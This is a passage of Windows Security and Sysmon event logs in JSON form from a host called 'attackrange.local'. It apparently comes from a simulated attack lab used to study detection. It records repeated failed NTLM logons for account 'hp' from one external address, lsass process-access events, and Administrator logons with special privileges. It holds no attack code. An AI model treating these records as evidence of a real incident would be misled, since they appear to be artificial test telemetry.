11:50:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221538,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t64661\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"64661","EventReceivedTime":"2020-08-07 11:50:18","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:17","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2273,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:17.031\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:17.031","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:18","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:17","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4776,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14336,"OpcodeValue":0,"RecordNumber":221539,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"The computer attempted to validate the credentials for an account.\r\n\r\nAuthentication Package:\tMICROSOFT_AUTHENTICATION_PACKAGE_V1_0\r\nLogon Account:\tAdministrator\r\nSource Workstation:\tWIN-DC-9849183\r\nError Code:\t0x0","Category":"Credential Validation","Opcode":"Info","PackageName":"MICROSOFT_AUTHENTICATION_PACKAGE_V1_0","TargetUserName":"Administrator","Workstation":"WIN-DC-9849183","Status":"0x0","EventReceivedTime":"2020-08-07 11:50:18","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:17","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221540,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:50:18","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:17","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221541,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3A009\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x3a009","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:18","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:17","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221542,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3A009\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3a009","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:50:18","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:17","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2274,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:17.031\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:17.031","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:18","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:17","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2275,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:17.031\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:17.031","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:18","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:17","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221543,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t64814\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"64814","EventReceivedTime":"2020-08-07 11:50:18","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:17","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221544,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t64893\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"64893","EventReceivedTime":"2020-08-07 11:50:18","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:17","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221545,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount 